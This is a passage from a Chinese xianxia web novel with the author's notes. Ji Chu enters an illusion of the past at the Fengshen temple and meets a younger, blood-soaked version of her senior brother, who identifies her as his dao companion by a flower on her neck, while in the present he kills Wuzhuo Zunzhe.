钟离白自言自语:“好奇怪啊……” 纪楚:“哪里奇怪?这不就是一座普通的神像吗?” 她不知道这些也很正常,钟离白解释道: “神为人身,这本就是人揣测的。神是什么?是念力所聚,天地造物,并无固定的形态。” 纪楚“喔”了一声: “我看过你师父不羁道人的书,里面的神还会经常变成牛!” 钟离白“嘿嘿”一笑,十分没有尊师重道的意识: “我师父他是个老不正经的,闲着没事就爱胡说八道,你也别太信他了。” 说着他单手撑在神像腿上,摆出一副吊儿郎当地姿态,说道: “不过他活了那么久,真真假假,说的话总是有点道理的。” “这无着尊者一把年纪了,怎么还要造一个这样的神像?难道是为了追赶年轻思想?” “等等。” 纪楚忽然推开他的手:“让一下……你看这里。” 钟离白手掌按着的地方,竟然有一道明显的拼接痕迹。 显然,神像的上半部分是新建的,下面却看着饱经风霜,接口处同样有一些青苔的痕迹,像是在水里泡过很久。 并且,由于神像新旧的形状明显不一样,所以拼接的并不完美,旧底座的断口仍露在外面。 纪楚盯着断口处看了一会儿。 鬼使神差的,她抽出寻真剑,在底座上比了比。 钟离白眼皮一跳,赶紧抓她袖子: “你干嘛?就算讨厌无着尊者和末神,你也没必要砍神像泄愤吧?” “不是。” 纪楚摇头: “你看这个缺口,是不是和寻真剑的剑刃,完全吻合?” “怎么可能……” 钟离白凑上去仔细观察,半晌,“嘶”得一声,重复了一遍: “怎么可能?!” 第二次是震惊。 虽然底座断口处的年代有些久了,还有一些磨损痕迹。 但只要寻真剑一放上去就能看出来,这绝对是寻真剑的剑痕。 “这是师兄带我找到的剑。” 赶在钟离白询问之前,纪楚开口道: “是从拂宇仙宗秘宝阁中取到的,我还经过了重重考验呢。” 钟离白讪讪收回手: “可能在你之前,这把剑的主人也来过这里,顺手砍了神像?” 纪楚没接话。 她握着剑后退一步,在神像前端详。 钟离白在一旁捧着罗盘,跟着指针一个劲儿的转圈,边念叨着: “到底是哪里啊?怎么一直动?” 纪楚看了看手里的神骨,又看了看寻真剑。 然后她抬头,看向面前的神像。 神像没有五官,始终用空白的脸对着世间。 想必从来没人知道,这为人所塑造的神,究竟是面容和蔼、忧心万物,还是心怀叵测、漠视生灵。 钟离白又念了几句口诀,罗盘指针左右摆动,逐渐朝着中间一点缓缓靠近。 他的表情一点点凝重起来。 就在此时,纪楚忽然举剑,沿着剑痕的位置,重重劈下—— 神像竟真被她一剑劈出道裂痕来,上半截似有不稳,断口处传来轻微的“咔哒咔哒”的声音,仿佛什么僵硬的机械在缓缓转动。 裂口沿着剑痕的方向逐渐朝地面蔓延,仿佛地裂一般,奉神殿被这道裂痕分成了两半。 纪楚的目光仍落在神像脸上。 她莫名觉得,那张空白的脸上似乎生出了一双金色眼睛,正在死死盯着她。 但再一眨眼,又是一片空白。 地下传来隐约的嗡鸣声,先是一阵轻微的抖动,很快这股令人不安的抖动幅度开始变大,最后整座奉神殿连同神像都一起摇晃起来。 钟离白被这变数惊呆了。 他站立不稳,低下头,发现四方罗盘上的指针已经停滞了晃动,直指神像方向。 “不好!” 钟离白顿觉不妙,发现纪楚竟还在看着神像发呆,急忙朝她跑去。 但裂缝无形间将他和纪楚分隔两端,他还没来得及跑到纪楚身边,两人中间的裂缝骤然变宽。 铺天盖地的水流自裂缝中喷涌而出,仿佛天河泄露一般,朝着整座奉神殿倾轧而来。 纪楚一个没站稳,被水流的冲击力推到了神像底部,一头撞到了剑痕上。 她眼前一黑,意识瞬间模糊。 好在这股晃动很快就消失了,纪楚松开扒着神像的手,意外发现自己周围干干净净,竟然一滴水都没有。 刚刚分明爆出了巨大的水流啊? 她疑惑回头,发现地面上的裂痕不见了。 钟离白也不见了! 空空荡荡的奉神殿,竟然只有她一个人站在这里! 纪楚下意识抬头看向神像。 “!” 看见神像的一瞬间,她睁大眼睛,本能后退两步,握紧了手中剑柄。 但什么都没发生。 面前的神像已不是她见到的那一尊。 一团形状诡异的东西立在底座上,她很难形容这是什么东西,唯有一双金色眼睛格外显眼,平直看向前方。 似乎没有注意到她。 纪楚手心生出冷汗,等了半晌,却不见对方有丝毫攻击她的念头。 她却不敢放下剑。 此时此刻,她已经意识到这里的不对劲。 太干净了。 这座奉神殿太干净了,墙上柱子上没有青苔,连神像也如钟离白所说,并非人形。 比起先前那个破旧古老的奉神殿,这里,更像是传说中,巫觋族人最为重要的圣地。 她正为自己的猜测感到震惊时,身后忽然传来破空之声。 纪楚转身,寻真剑撞上一柄弯刀。 偷袭者样貌极美,目光却阴郁狠辣,魔气缠身,招招冲着纪楚命门而来。 纪楚躲了两下,见对方仍要杀她,于是不再躲避,反守为攻。 寻真剑锋芒毕露,似游龙惊影,很快将弯刀压制。 “你是谁?为什么要杀我?” 她刚开口,忽见一道剑气破空而来,一招便取了偷袭者的性命。 纪楚:“!” 她抬头,却看见了一个她无论如何也没有想到的人。 “师兄?” 她先是本能惊喜,很快又警惕起来。 看了一眼地上死去的人,又看向师兄: “师兄?你怎么在这儿?” “师、兄?” 对方面色冷淡,微微歪头,一字一顿重复了一遍她的称呼,似在疑惑。 纪楚皱眉。 这人分明和师兄长的一样声音也一样,穿着打扮却截然不同,倒是和地上的尸体有点相似。 孟喻辞已缓缓抬步朝她走来。 他身上染了血,分明刚杀过人,连脸上都溅了几滴,更显得面色冷白,容貌昳丽。 手中之剑分明就是少微,此刻剑身鲜血遍布,剑尖正朝下滴着血珠。 他整个人给纪楚的感觉和平时的师兄截然不同,像是杀了很多人,也不介意杀更多人。 纪楚立马举剑挡在身前: “你别过来!” 孟喻辞对她的威胁毫不在意,步伐不疾不徐,血珠在他身后滴了长长一路,宛如刚从地狱杀出来的恶鬼。 他一步步走到纪楚跟前。 虽然面无表情,周身气息却极冷极寒,杀气凛然,反逼得纪楚后退一步,险些靠在神像身上。 不知道师兄为什么变成了这样,简直像是杀红了眼、不认识她似的。 纪楚心里越发慌乱起来。 孟喻辞终于停下了步子,他的目光自她手中寻真剑上掠过,开口,语调平平,仿佛随意问询,纪楚却从中听出了淡淡的杀意: “寻真剑——怎么在你手里?”—— 作者有话说:纪楚:我穿越了?师兄不是人?师兄三百多岁了? 师兄:并非穿越……是人……巫觋族就不是人了吗?[裂开]三百多岁很老吗?对神族后裔这个身份来说应该不老吧[裂开] 第66章 面前这个师兄看起来有点恐怖。 纪楚莫名感觉,自己要是回答的不好,可能真的会被杀掉。 于是她说: “这是师兄你送我的,你还说过,这把剑喜欢我,要我一直随身带着。” 孟喻辞闻言抬眸,冰冷的目光打量她周身,试图在她脸上看出说谎的痕迹。 纪楚睁大眼睛,以显得真诚。 虽然她说的都是实话,但是被师兄用这样的目光盯着,她却还是会感到心虚。 孟喻辞收回视线,垂眸看了一眼两人中间隔着的尸体,忽然问了句: “你知道,这是什么 地方吗?” 这是什么意思? 纪楚犹豫:“这是……奉神殿?” 孟喻辞不置可否,继续道: “此处乃我巫觋圣地,奉神殿。而你手中之剑,是巫觋族祭司郁澜亲手所铸,不曾面世,也从未赠人。” 他的语气不疾不徐,并非因为他是个善良有耐心的好心人,而是因为他拥有随时可以杀掉对方的实力。 他不介意把事情问清楚。 “你到底是谁?怎么出现在这儿的?” 纪楚诧异,却不是为着他说的剑的来历,而是因为他的语气。 她的师兄孟喻辞,竟然是巫觋族人? 她还记得自己当初破解焚巫祭神图时,是师兄出现救了她。 当时的师兄神色漠然,一出手便直接杀了图中那个叫“姚婵”的巫觋族人。 动作干脆利落,简直像是陌生人。 蒋成旭讲过的故事又浮现在她脑海中。 难道师兄,真的屠杀了巫觋族吗? 可是听他的语气,他自己不就是巫觋族人吗? 纪楚觉得自己的脑子一团浆糊。 她一时不知道该说什么,只能老实道: “师兄,虽然你可能不太相信,但我真的是你师妹。” 三百年后的师妹,也算师妹吧。 “还有寻真剑,真的是你主动带我去取的,我刚来这儿,哪有空偷剑啊。不信,你去把铸剑的祭司叫来,我们对峙。” 纪楚提出建议。 寻真剑已经认她为剑主,这种级别的灵剑,并不是偷来就可以使用的。 纪楚觉得这事很好解释。 谁知面前的师兄却淡淡道: “她已经死了。” 纪楚:“?!” 孟喻辞抬眼,脸颊旁的血痕格外明晰,像干净的雪面染了颜色,十分碍眼。 一双冷黑的眸子幽深莫测,透不出一丝光亮: “我刚刚杀了她。” 语气平静,像是在说刚刚吃了顿饭。 纪楚:“???!” 她不可思议地看着他。 虽然师兄表情很是平静,看起来真的像是杀人如麻。 但她与师兄相处多日,自然也能猜出一些师兄的想法。 她感觉,师兄看起来并不像他表现出来的那么平静。 甚至有些伤心。 师兄在伤心,因为祭司的死吗? 纪楚下意识说道: “我知道师兄不是滥杀无辜的人,一定是有理由的!我……” 她卡了壳,不知道该怎么说下去。 师兄黑沉的眸子落在她脸上,目光比刚刚还要冷上几分。 纪楚被他看的越发心虚,一点点低下头,不由得在心里懊恼起来。 自己什么都不清楚,也不知道发生了什么,在三百年前的师兄面前叭叭什么呢?! 人家知道她是谁吗?!冒然说这些话,看起来真的很像为了活命拍马屁啊!!! 如果不是害怕师兄忽然冲上来杀她,纪楚此刻简直想扔了剑,抱着自己的头一阵狂喊来掩饰尴尬。 好在奉神殿外,一声突然的巨响打断了她的尴尬。 孟喻辞转身,纪楚犹豫了几秒,也跟着他跑了出去。 三百年后的奉神殿坐落于水面之上,像一座孤岛,与世隔绝。 而三百年前,这里却绿草如茵,鲜花绽放,景色如画。 因此,越发显得那花丛中面露痛苦,浑身被魔气侵蚀的人姿态可怖。 见孟喻辞持剑而来,那人非但不逃跑,甚至主动求死: “少主……对不起……求你……杀了我……” 他一句话尚未说完,周身魔气忽然暴涨,整个人如同不受控制般,猛得朝两人攻来。 纪楚跟在孟喻辞身后,眼看他神色漠然,手起剑落。 对方濒死,却终于露出松了一口气的表情: “多谢……” 魔气散尽,连同躯壳一并散做尘埃,地上只余一块晶莹的散发着灵力的石头。 纪楚:“……神骨!” 地上那石头,分明就是她在三百年后见到的神骨! 她匆忙往回跑。 果然,奉神殿里哪里还有方才偷袭者的尸体,竟然也只剩下一小块石头。 巫觋族人死后,身躯化作石头,竟然就是神骨? 纪楚将地上的石头捡起来,从储物袋中掏出自己随手拽下的那一块。 一模一样。 这就是神骨。 这就是可以引人入魔的神骨! 她猛地抬头,看向面前高耸的神像。 神像的双金色眼睛不再是目视前方,而是微微下垂,竟然也在看着她! 她几乎能从这双眼睛里看到赤裸|裸的嘲弄…… 纪楚呼吸一滞,倾刻间便意识到:这里不是三百年的巫觋族,她也不是穿越时空遇到了师兄。 是这双金色眼睛,它在创造幻象,模糊他们的判断。 这是它惯用的手段! 纪楚想也不想,抬剑就要朝着神像砍去。 背后忽然靠上来一个带着寒意的身体。 右手手腕被人自身后握住,力气不大,她却完全挣脱不开。 纪楚一边与他角力,一边扭头解释: “师兄!神像有问题!毁了它我们才能出去!” 孟喻辞不为所动,指尖稍稍用力,逼迫她松开剑柄。 纪楚很快闭了嘴。 这个师兄没有她认识的那个师兄好说话,既然解释不通,那就直接动手! 手腕一晃,纪楚假意握不住剑柄。 寻真剑朝下坠落。 孟喻辞只当她放弃了,缓缓松手后退。 纪楚忽然转身,换了只手捞起寻真剑横在他颈下,同时右手反手扣住他肩膀,傀儡丝飞速沿着他肩膀扎进他体内。 她仰头,与师兄垂下来的视线对视。 千丝傀影之所以是邪术,就是因为这门功法分割自身神魂,作为控制他人的工具。 虽然可以以小博大,但稍有不慎,就会被对方反扑,最终害的自己失去神志。 面对师兄这样的强敌,纪楚十分谨慎,丝毫不敢放松。 但她没想到,三百年前的师兄竟然这么好控制。 孟喻辞几乎在对上她眼睛的同时就停止了动作。 算起来,这是她第二次用千丝傀影控制师兄了。 上一次是因为蛊毒神志不清,这一回是为了救她和师兄出去。 “师兄你出去后千万别生气啊,我这都是为了咱俩,不得已而为之。” 纪楚用傀儡丝将师兄绑好,小心翼翼后退两步,一边小声说道。 然后她果断转身,毫不犹豫一剑劈下。 水流声伴随着钟离白的呼喊声隐约传来。 纪楚还没来得及高兴,下一刻耳边又顿时安静下来。 她左右看了一眼,发现自己竟然还站在原地,面前的神像毫无反应,仍用一双金色眼睛望着前方。 纪楚:“……?” 怎么可能没反应? 她移开剑,发现神像被砍的地方完完整整,甚至连剑痕都没有。 怎么可能? 她不信邪,又劈了一剑。 还是没有反应。 “闹够了吗?” 身后传来一道清冷的声音。 纪楚顿觉不妙。 但已经来不及了。 师兄不知何时挣脱了傀儡丝的控制,悄然贴上她的后背,这次毫不留情,一把卸了她手中剑。 他的头发垂下来,落在纪楚颈窝,冰冰凉凉的,激得纪楚打了个哆嗦。 “我见你周身灵力充沛,并无魔气,可见是修行之人,为何要做出毁神之事?” 孟喻辞垂眸,一手扣着她手臂,一手卡着她下巴,防止她再度用傀儡丝对他动手。 姿态亲昵,宛如从背后抱着她。 他身上的血腥气也飘了过来,混着师兄身上的清冷的香,纪楚又害怕,又忍不住因熟悉的气息而感到依赖。 她动了动,却像是被一块寒冰牢牢封在师兄怀里,丝毫动弹不得,整个人完全靠在师兄硬邦邦的胸膛上。 面前的神像依然用金色眼睛看着她。 纪楚与之对视,气的牙痒痒。 她觉得自己的判断没有错,问题一定出现在神像上。 但是不知道为什么没有成功。 一击不中,再想要出手就更难了。 纪楚无奈,试图对师兄晓之以情动之以理: “师兄……刚刚动手是我不对,我错了。但是你信我,这里是幻境,末神做 这一切,肯定是为了让我发现神骨的来历,从而怀疑你,我们不能上当啊!” “我不是你师兄。” 孟喻辞打断她,声音泛着冷意: “巫觋一族死后皆尸身消散,力量凝结,唯余一骨,得以证明存在。只有居心叵测之人,才会以神骨称之,妄加利用。” “至于末神,试图夺舍我巫觋族人不成,便诱其入魔,唯死可解。此乃巫觋一族机密,你又是如何知道?” 纪楚:“……” 我不知道啊! 而且你都知道末神有问题,为什么不许我毁神像呢? 纪楚越想越生气。 她磨了磨牙,忽然低头,故技重施,一口咬在了师兄捏着她下巴的手上。 孟喻辞一惊,虎口处传来尖锐的疼痛。 纪楚咬得又狠又果断,很快就有血珠冒出。 她仍不松口,低着头,像咬住猎物的野兽,自己却露出一截雪白的脖颈在外。 孟喻辞低头,目光落在她后颈。 他神色一顿,语气有些莫测: “你是谁?” 纪楚以为他终于被自己咬醒了,松开牙: “我是你师妹啊?师兄?你终于想来了吗?我是纪楚啊!” “撒谎。” 孟喻辞冷冷吐出两个字。 纪楚顿时更加生气。 就在她张开嘴准备继续咬的时候,他忽然来了句: “空羽浮花。” “若非是我道侣,你怎会有我的空羽浮花?” 纪楚准备咬下去的动作愣住: “什么?什么花?” 孟喻辞已经松开了挟制着她的手,后退半步,垂眸看了一眼手上的齿痕,语气分外笃定: “你不是我师妹,你是我道侣。”—— 作者有话说:纪楚:我是你师妹 师兄:撒谎,分明是道侣 纪楚:? 同样看到纪楚身上的花,各个年龄段的师兄会有什么表现呢? 让我们跟随前方记者一起去看一看吧![眼镜] 三百年后的师兄:(默默怀疑)(默默查找记忆)(默默关注)(默默吃醋) 三百年前的师兄:这是我道侣(自信) 第67章 “你不是我师妹,你是我道侣。” 听见这句话,纪楚的大脑“嗡”的一声,瞬间变得一片空白。 “空羽浮花。” 孟喻辞继续说: “在你后颈处,是我巫觋族人以灵魂养育的空羽浮花。以花相赠,便是以半魂之力相护,只赠道侣,永不背弃。” “你身上的这一朵,是我的。” 纪楚的大脑停止工作,所有声音都变成稀碎的单个音节,但师兄这一长串话还是一字不落的进了她的耳朵,砸得头晕眼花。 她下意识摸了摸自己的后颈。 空羽浮花,她在不羁道人的书上看到过,这不是传说中的东西吗?怎么会在她身上? 后颈……她后颈什么时候有花了?! 纪楚摸了半天,意识到自己看不见,又低头开始在储物袋里翻东西。 镜子呢镜子呢?她记得储物袋里有个镜子的…… 孟喻辞全程安静地看着她动作。 镜面透亮,清晰的照出后颈处那一朵色泽清浅的花,花瓣层层叠叠,自凸出的骨节向外展开,简直像是从骨头下面长出来的一样。 纪楚惊恐地捂住了头,后退一步,蹲到了地上。 这是什么时候有的? 她以前怎么从没发现过?! 还有这个地方,自重生后,每每遇到危险,后颈处便会传来火烧一般的痛,难道也是因为这个所谓的空羽浮花?! 她怎么可能会有师兄的空羽浮花?! 她这辈子根本没和师兄有什么不正当关系啊?! 忽然,她的脑子里闪过一道闪电,前世中情蛊那日的场景一点点飘过她眼前。 以往每次回忆起这一天,她的记忆都中断在师兄冷着脸推开她的动作上,只偶尔闪过一点师兄抱着她的画面,可每每还不等细想,就被她强行掐断了。 可今天,此时此刻,摸着后颈处的花,她的记忆忽然就跟打开了任督二脉似的,无比清晰地看到师兄迷离的黑眸,嫣红的唇,自鼻尖缓缓滑下的汗水,自他唇齿间溢出的轻喘…… 温热的呼吸打在她后颈,引得她一阵战栗,越发控制不住地朝着身后人的怀里缩去。 这一举动却是羊入虎口,主动将她的脖子送到了师兄唇边。 然后—— 师兄咬了她一口,后颈处生出一股又烫又疼的感觉,仿佛有什么东西在破土而出。 只是很快,这份异常感就被更加强烈的触觉冲击搅散,她很快便忘的一干二净…… 纪楚浑身僵硬,感觉自己脑子里那根名为“礼貌客气保持距离”的弦手“啪”的一声断了。 不会吧,不会真的是因为那次吧…… 不是说好了重生就一切重来的吗? 她身上为什么会带着上辈子的花啊?! 那师兄呢? 师兄跟她相处这么久,是不是早就看见了? 他是不是也知道这就是他的花? 他是不是早就怀疑自己了?!!! 孟喻辞眼看着面前的人不知道是想到了什么,忽然睁大眼睛,脸色一点点涨红,最后整颗脑袋都仿佛在冒气儿,也不知道是害羞的还是被气的。 怎么能这么红,还冒气,像煮熟的桃子…… 他惊叹于纪楚的变化,不知道自己为何会有这种念头,下意识伸手,想要碰她的脸。 纪楚反应极快,起身的同时“啪”地一下打开他的手,简直像是在躲什么恐怖的东西。 孟喻辞神色一怔,缓缓看向自己被打开的手,竟然有些呆呆的。 纪楚想客套地笑一下,但扯出来的表情比哭还难看,表情僵硬地向他: “你确定,这是你的花?” 孟喻辞回过神来,不着痕迹地收回。 他颔首,表情一如既往的平静: “不错。” 纪楚不能接受。 她甚至分不清楚,自己究竟是不能接受这花是师兄的,还是这花有可能被师兄发现。 “就没可能认错吗?你不是说你们巫觋族每个人都有花吗?” 纪楚语无伦次,忍不住把自己的惊惶变成愤怒发泄在了面前这个一无所知的师兄身上: “而且你凭什么觉得这是你的花?万一是别人的呢?我跟你以前从没见过,更没当过什么道侣,你自己的花在不在,自己分不清吗?” 孟喻辞皱眉。 他这副表情,越发像三百年后的那个师兄了,明显因纪楚的反应而感到不悦,但语气中无奈更多: “我不会认错。虽然不知道原因。” “除了我,你还希望是谁的花?” 纪楚:“……” 这副疑似“质问道侣出轨”的语气是什么情况? 现在不是她在生气吗? 他什么都不知道,他在“不悦”个什么劲儿? 还有这鬼地方,到底是三百年前,还是末神又搞出的什么害她的手段。 竟然还搞出一个师兄,说些似是而非的胡话……来吓唬她?! 听不到她的回答,孟喻辞又追问: “怎么不说话?你在怀疑谁?” 他语气平静,但配合着脸上身上干涸的血,以及刚刚杀人时干脆利落的模样,纪楚莫名觉察到一股寒意。 纪楚的理智一点点回归。 她算是发现了。 面前这个三百年前的师兄,比她之后见到的那个更直白、更坦诚,杀气也更外露。 或许是因为这时候的师兄正处于不得不杀害同族的困局中,完全没有之后那副疏离冷淡、了然自持的淡漠姿态。 ——也更不好糊弄。 若非是真的有穿越时空,让她回到三百年前;便是制造这场幻境的人,对三百年前的师兄无比了解。 她现在必须冷静下来,搞清楚这里到底是什么情况,搞清楚这个“师兄”是什么 情况,才能知道下一步该怎么做。 至于空羽浮花…… 不急不急,先把师兄应付过去再说。 至于怎么应付师兄…… 纪楚心下有了主意。 然后她抬头,认真对师兄说: “我饿了。” * 火堆旁,师兄在给她弄吃的。 不知道是什么肉,被切成极薄的一片,在火上烤出焦香,而后裹成肥厚相间的一卷,看着就让人食指大动。 师兄又变成了那个只会切肉不会做饭的师兄,但是没关系,这环境,这技术,拿来烤肉正好。 纪楚从储物袋里摸出一些调料,蘸着烤肉吃。 ——调料也是师兄给她准备的。 孟喻辞看着她,眼神安静。 他身上的血衣换下,一袭月白衣裳被火光映出温暖的昏黄,冷寂的眉眼也显得舒朗宁和,不再是刚见面时那样杀气凛然的模样。 他对“纪楚是他道侣”这件事的接受程度太过良好了,甚至已经超过了“纪楚是师妹”这个事实。 纪楚不太能理解。 但既然下定决心以离开为主,她就不能继续纠结这些有的没的。 于是秉持着“遇事不决大吃一顿”的人生态度,很快便将崩溃的情绪抛之脑后,转而关心起“三百年前的师兄的生活”,试图从中找到一些可以离开这个幻境的办法。 “末神为什么要夺舍你们巫觋族?他们为什么会入魔?还有,你听说过无着尊者这个人吗?” 孟喻辞一一回答,脾气好到过分。 纪楚于是将整件事梳理了个大概。 末神确实如钟离白所说,是神族灭亡之后,因不甘心灭亡、意识汇聚,从而生出的新神。 神的诞生皆有使命,可这位末神的诞生却与苍生无关。 它唯一的使命,就是复生神族。 但神族因六界念力而生,又因天道限制而亡,无法凭空复苏。 末神便将目光投向了放弃神力、早已下界的巫觋族。 一脉同源,又有半神之躯,若能夺舍,神族借巫觋族人躯壳复生,便可逃脱天道的制裁。 “它做什么春秋大梦?若是天道不公,便该同天道讨个公道,为何要残害无辜之人?” 纪楚愤愤不平。 原本她还觉得,不羁道人将神族描绘的太过卑劣,简直毫无神的高洁。 而如今看来,神也难逃情绪的干扰。 会害怕死,会向往生,会不择手段。 这样通过夺舍才能复生的神,还有什么资格称之为神呢? 此举,究竟与魔何异? 她这般义愤填膺,在他跟前一边生气一边大口吃饭,倒是让孟喻辞觉得,这里似乎也不是那么孤独了。 他将烤好的肉放到盘子里,递给纪楚,看着她恶狠狠地一口吞下,这才道: “祭司也同你一般所想。在她看来,心生恶念害人性命者,已不再是神。” “故而她亲手铸此寻真之剑。” 孟喻辞看向纪楚,目光沉沉: “寻真,实为弑神之剑。” * 无着尊者看着面前这个持剑而来、满身杀气的孟喻辞,恍惚间,以为自己回到了三百年前。 那时他便是如此,狼狈,卑微,渺小,看着那所谓的巫觋少主,所谓的半神之尊,手持长剑,将巫觋一族屠灭了个干干净净。 白衣染血的少年持剑走近他,剑上的血滴到他手边。 那时,他险些以为自己要死了。 他原本只是个凡人,仰慕神族荣光,想要长生,想要成为神的信徒。 听闻巫觋一族本是神族,虽已被流放下界,却仍然可以得到神的指引。 于是他散尽家财、死尽家丁护卫,连妻儿寡母都狠心抛弃,他放弃了在人界的一切,费劲千辛万苦才得以找到这里。 却不想,竟然撞上了巫觋族灭族这一幕! 他伏跪在地,心道自己今日定会命丧于此。 但能死在神族眼前,死在仙人堆里,他竟觉得这是荣幸! 谁知孟喻辞放过了他。 “你走吧。以后这世上,没有神了。” 那少年冷冷道,转身离开了云川。 他竟不屑于杀他! 他竟告诉他,这世上不会再有神? 凭什么? 他不甘心! 凭什么有人生来就能聆听神谕,得以长生,而像他这样的凡人,苦苦寻觅,到头来——竟是一场空! 就连死,都不配以神的信徒身份而死! 好在上天垂怜,叫他从鲜血淋漓的云川,神仙尽毁的奉神殿里,发现了“神骨”。 巫觋族果然是半神,就算死了,还能留下可以连接神明的“工具”。 他吞了神骨,看到了神的眼睛。 那是一双没有波澜的、没有情绪的、漠视这世间一切生命的眼睛。 他自愿成为神的信徒,从此奉神为主,以无着尊者自称,为神寻得重回世间之法。 神需要他。 只是想到这个可能,就让他浑身战栗,狂喜不已! 无着尊者收回思绪,整理了一下自己被少微剑划破的衣襟,以便让自己仍能感受到作为神使的尊严。 他看向孟喻辞,得意一笑: “你杀不了我。” “我是神的使者,我奉的是神谕。而你这样的叛徒,只能一生都活在神的惩罚下!惶惑不安!” 孟喻辞没有兴趣同一个疯子探讨人生,他面色沉寂,冷冷开口: “纪楚呢?” 无着尊者笑道: “她就是末神说的,那个弑神之人吧?孟喻辞,你蛰伏了三百年,就选出这么个蠢笨无能的人吗?” 他眼里透出猩红的疯狂: “弑神?这世上,没有人能弑神!” 孟喻辞眯起眼睛,一剑削掉他的双臂,声音依然冷淡: “你不该对她动手。” 无着尊者再难维持体面,一下子扑倒在地上。 “求末神降世,救此混浊之地,度化虚伪之魂。” 无着尊者低声念道。 下一瞬,他忽然暴起,魔气自断臂处生出,宛如两道索命长链,试图拧断对方的脖子。 “我才是神最好的信徒!比你,比你们巫觋一族,虔诚百倍!” 孟喻辞冷眼看他动作。 “它算什么神?你又算什么神使?” “作恶者,是魔非神。” 说罢,他周身灵力汇聚,少微剑身流光闪过,霜寒遍生。 无着尊者被他直白到近乎残忍的话戳中痛处,顿时暴怒: “孟喻辞!你才是最为虚伪之人,你才是困死她的最佳囚笼!” “她必死无疑,而你——” “永远也杀不了神!” 剑光划过,彻底了却这桩三百年前因他心软大意而造就的恶果。 无着尊者死了。 孟喻辞内心却并不像表面这样平静。 他在害怕。 害怕自己当真是一个虚伪怯懦之人。 更害怕纪楚一无所知,因他而死。 乌云在他头顶聚集,闪电如蛟龙穿梭其中,雷声轰鸣,自天际传来,一道沉过一道。 孟喻辞握紧了手中长剑。 他不能在此时历劫…… 金仙雷劫,九死一生。 若能过,便可彻底摆脱肉|体凡胎的掣肘,成为天人。 若不过,满身修为灵力回归天地,滋养更多生灵。 在旁人看来,身为修士,纵使死在雷劫之中,那也是为自己追求了一生的道,求来一个完整的终点,死而无悔。 可没人知道,金仙之上,究竟是仙是魔? 清浊同源,仙魔一体。 巫觋族因此而灭,只剩下他一个。 可他也不确定,自己究竟是仙?还是魔? …… 是魔。 他心里有个声音在说。 你之所以还能好好站在这里,站在世人面前,不过是因为你将你的恐惧割舍下来,藏在那座奉神殿里。 你杀了这么多族人,满手鲜血淋漓,他们每个人死前的痛苦都留在那里。 你真的就是正义的吗? 他们真的就想死吗? 巫觋族与神一脉同源。 若神是魔,若神有罪恶,那么巫觋族,连同你自己,都该死…… ——你迟早会成魔。 天雷砸下。 奉神殿的阴影逐渐扩张,直至将他也笼罩其中。 大雨如天河泄露,倾盆而下—— 作者有话说:纪楚:这花有bug啊,你的花还在自己身上,为什么就这么笃定我的花就是你的花呢?会不会是你认错花了呢? 师兄:什么花不花的,听不懂。道侣,我的。[害羞] 师兄的喜欢非常简单:师妹?怀疑JPG。道侣?深信不疑JPG。 第68章 纪楚坐在奉神殿地上,正对着神像发呆。 她已经盯着神像看了许久,久到一闭上眼睛,眼前就是神像奇奇怪怪的形状,每一个拐角都落在让她意想不到的地方。 经过一段时间的观察和打听,纪楚确信: 神像,一定是离开这里关键。 毕竟她是撞到了神像才会出现在这里。 而师兄话里话外,提及末神与巫觋族过往。 分明与神势不两立,却仍将此神像高高供起,还不许她去触碰,简直矛盾至极。 神像对师兄而言,到底意味着什么? 纪楚想不明白,只能找到机会就砍神像试试。 可惜她砍了很多次,都没能成功。 只有第一次,隐约间听见钟离白的声音。后面就再也没有什么反应了。 一定是有什么关键问题没有发现。 师兄看起来没有问题。 虽然不知道三百年前的真实情况,但目前来看,这个师兄完全就是“年轻直白版”的师兄,更没有伤害她的意思,是真心把她当同伴。 那就是这个地方的问题了。 若这里是幻境,到底还有什么细节被她忽视了呢? 纪楚陷入沉思。 这两天,她已经目睹了很多巫觋族人气息逆转、灵力衰退,忽然毁道堕魔的惨状。 只是看着,就让她也忍不住怀疑,自己下一刻会不会也像这些人一样,只是因为某个瞬间的动摇,就彻底成魔,无法回头。 尤其是有个人死前念着: “清浊同源,仙魔一体。” 更让纪楚心里发毛。 此刻,空荡荡的奉神殿里只她一个人。 外面似乎下了雨,带着水汽的风吹进来,凉津津的。 纪楚感觉到了魔气,混着血腥气飘进来,像挥之不去的乌云,始终笼罩在这片幻境中央。 自她听到“清浊同源”的话后,师兄便不再在她面前动手。 但她知道,师兄一直在杀人,少微剑上的血色几乎不曾消退过。 他身上的杀气越来越重,神情也越来越冷漠。 可惜纪楚已经无法再从他身上判断出他是否会难过。 出现在她面前时,师兄总是平静自然,看不出一点情绪,偶尔听她讲讲修行时的事,或者给她找些吃的。 但平静才是最大的不平静。 她出现的莫名其妙,言谈之中也从未掩饰这里是幻境的事实。 还有空羽浮花。 师兄明知道时间、事件都对不上,却从不多提,仿佛只要谁也不说,就可以把这件事里奇怪的地方掩饰过去似的。 她也曾试图做些什么,但是这里应当是已经发生的过去的投影,她根本无法改变结果。 所以…… 师兄最后,还会是杀尽巫觋族,一个人离开云川吗? 想到这里,纪楚感觉心里又酸又闷,有种知道悲剧会发生,却也只能看着的无力感。 面前的神像不动如山,一双金色无瞳的眼睛望着她,带着几分高高在上、看困兽之斗的兴味。 纪楚回瞪过去。 对方自然不会和她交谈。 这种明知道有问题,却还是什么都做不了的感觉糟糕透了。 她心里憋闷,转头出了奉神殿。 外面果然下着雨。 虽然不大,但长久地浇下来,依然能将地面打湿成泥泞。 她踩着一个个小水坑,朝着远处探索。 空气中的魔气经久不散,若非知道云川原本是片灵力充足之地,纪楚简直要以为这里是什么魔窟了。 地上的花和草沾了魔气,也开始变得没精打采起来。 纪楚没走几步,前面就没路了。 她停下步子,看着前方雾气蒙蒙,一片空白,不由得露出疑惑的神情。 云川怎么可能只有这么点地方? 可她绕着奉神殿走了一圈,竟然始终无法走出奉神殿的范围。 空气中的魔气更旺盛了,几乎已经感觉不到灵气的存在。 哪里来的这样强的魔气,难道真的是因为“清浊同源”,灵力随时可以转化成魔气吗? 那他们这些修士,整日吸纳灵气,又对魔气闻之色变,岂不都成了小丑? 纪楚撇嘴。 她站在远处往回看,整座奉神殿都被罩在雨幕中,遥遥看见正中央的神像,边缘在雨幕中模糊不清。 离得这么远,那双金色眼睛却像是近在咫尺一样。 纪楚看着看着,某个瞬间,竟然觉得神像朝她笑了一下。 纪楚顿时寒毛倒立。 “你走不了。” 神像脸部裂开一道口子,像是嘴的形状,冲她一笑: “他杀不了我。” 两道声音一前一后传进她的大脑,像是天外来音,震的她一阵头晕。 她一个踉跄,后退半步,这才发现,周围的地面不知何时开始,竟然在一点点朝上漫出水来。 